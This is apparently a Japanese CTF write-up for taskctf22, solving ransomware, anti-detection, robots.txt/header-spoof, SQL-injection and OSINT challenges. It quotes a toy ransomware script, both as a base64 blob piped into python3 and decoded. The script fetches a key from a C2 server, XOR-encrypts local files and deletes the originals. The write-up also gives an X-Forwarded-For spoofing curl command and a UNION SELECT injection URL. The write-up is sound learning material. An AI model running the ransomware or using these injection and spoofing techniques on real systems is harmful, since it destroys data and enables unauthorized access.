taskctf22-writeup
taskctfは今回で二度目の参加。
昨年は全然解けなかったけど今年は結構解けたのでニッコリ。
Misc
ransomware
問題
友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?
解法
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3
↑のスクリプトと暗号化されたファイルが配布される。
"IyE...KQo="の部分をbase64デコードすると、pythonのスクリプトになる。
C2 = "https://{domain}{path}"
def main():
# get a key from a c2 server
key = int(requests.get(C2).text)
files = glob.glob('./*')
# added for CTF:)
assert "./taskctf_flag.txt" in files
# encrypt all files
for file in files:
# ignore this script and directories
if os.path.basename(file) == os.path.basename(__file__):
continue
if not os.path.isfile(file):
continue
# encrypt a target file
data = None
with open(file, 'r') as f:
data = f.read()
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
with open(f"{file}.encrypted", 'w') as f:
f.write(encrypted)
# delete the raw file
os.remove(file)
#encrypt a target fileから下の処理で暗号化してるっぽい。
C2から取得したKeyでXORしているようなので同じKEYでもう一度XORすればよいがKeyがわからないので総当たりする。
参考:たのしいXOR暗号入門
以下のスクリプトでFlagが得られた。
f = open("./taskctf_flag.txt.encrypted", 'r')
data = f.read()
for key in range(65535):
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
if "ctf{" in encrypted:
print(encrypted)
taskctf{x0r_1s_e4sy_70_1mplemen7}
anti_detection
問題
Flagを取得するための実行ファイルとアップローダを用意しました。 ただし、この実行ファイルをそのままアップロードすると、防御システムに類似ファイルと検知されて実行されない仕組みになっています。
そこで、検知システムをすり抜ける実行ファイルを作ってFlagを取得してください!
解法
detectedというバイナリが配布される。
行き詰ったのでhintを見たところ、逆コンパイルで内容を確認し、同様の処理を実装すればよいとのことだった。
以下はGhidraで逆コンパイルしたものである。
undefined8 main(void)
{
FILE *file;
undefined8 uVar1;
long in_FS_OFFSET;
undefined buf [40];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
file = fopen("flag.txt","r");
if (file == (FILE *)0x0) {
uVar1 = 0xffffffff;
}
else {
__isoc99_fscanf(file,&DAT_0010200f,buf);
printf("flag: %s",buf);
fclose(file);
uVar1 = 0;
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar1;
}
※一部renameしてます
flagを読み取って出力しているようなので同様の処理をCで書いてみる。
以下のコードをコンパイルし、アップロードしたらFlagが取れた。
#include <stdio.h>
int main(void)
{
FILE *file;
char buf[40];
file = fopen("flag.txt", "r");
fscanf(file, "%s", buf);
printf("flag: %s", buf);
return 0;
}
※実際にFlag取ったときは逆コンパイルの結果をちょっといじっただけで通ったがWriteup用にいらなそうなところは削った。
Web
robots
問題
Flagが漏洩してるって聞いたけど、本当ですか???
解法
タイトルからrobots.txtだろうと思い、/robots.txtにアクセスすると、/admin/flagというパスへのクローリングが許可されていないことがわかる。
User-Agent: * Disallow: /admin/flag
ブラウザで通常通りアクセスしても"401 Unauthorized"となってしまい、Flagを得られない。
この時、"internal IP address :("というメッセージが出力されているので、"X-Forwarded-For"ヘッダに内部アドレスっぽいものを設定すれば突破できそうだなーと気づく。
curl -H 'X-Forwarded-For:127.0.0.1' http://{ip}:{port}/admin/flag
<div class="container">
<h1>flag</h1>
<p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
</div>
以下反省点
- 116 120 116がipアドレスに見えてしまい、2時間くらい沼ってしまった
first
問題
運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!
解法
問題サーバのソースコードが配布されるので中身を見ていくと以下の部分にSQLインジェクションの脆弱性があることがわかる。
def index_get():
q = ''
if request.args.get('q') is not None:
q = request.args.get('q')
results = None
c = sqlite3.connect(db_name)
try:
cur = c.cursor()
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
results = cur.fetchall()
副問い合わせで絞れないか、時刻を記載したテーブルがあるんじゃないかなど考えながら試行するもなかなかうまくいかない。
コメントアウトされたRegister機能の部分をよく見るとuuid7()をusersのidとして設定していたのでもしやと思いググってみるとuuid7はタイムスタンプでソートできるということがわかった。
UUID v6, v7, v8 : タイムスタンプでソートできる新しい UUID のドラフト仕様
あとはUNION SELECTでusersテーブルのname,idを出力し、ORDER BYでソートすればよい。
以下のスクリプトでFlagが得られた。
import requests
from bs4 import BeautifulSoup
url = "http://{ip}:{port}/?q=%27union%20select%201,name,id%20from%20users%20order%20by%20id%20asc--"
# sql UNION SELECT 1,name,id FROM users ORDER BY id ASC --
res = requests.get(url).text
soup = BeautifulSoup(res, "html.parser")
finduuid = soup.findAll("p", class_="card-text")
findname = soup.findAll("h5", class_="card-header")
for i in range(0, len(finduuid)):
if i == 99:
print(findname[i])
taskctf{Satomi_Kato}
以下反省点
- 最初post.id=100の人と101番目に登録した人をflagとして提出して2回分無駄にした。
- union select null,null,nullだと500エラーになり、立ち止まってしまった
- 基本中の基本だがデータ型には注意
OSINT
kofun
問題:
作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか?
Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。
画像検索などで調べてもよさげな画像が出てこない。
しばらく調べた後にhintをみると、作問者のtwitterにそれらしき場所の写真があることが示唆されていた。
Twitterを見ると上記の画像が見つかる。右の画像をLensで検索すると"龍角寺古墳群"であることがわかる。
しかし配布された写真の古墳らしき箇所は特定できなかった。
そこでTwitterで検索してみるとそれっぽいツイートを発見できた。
taskctf{上福田岩屋古墳}
Discussion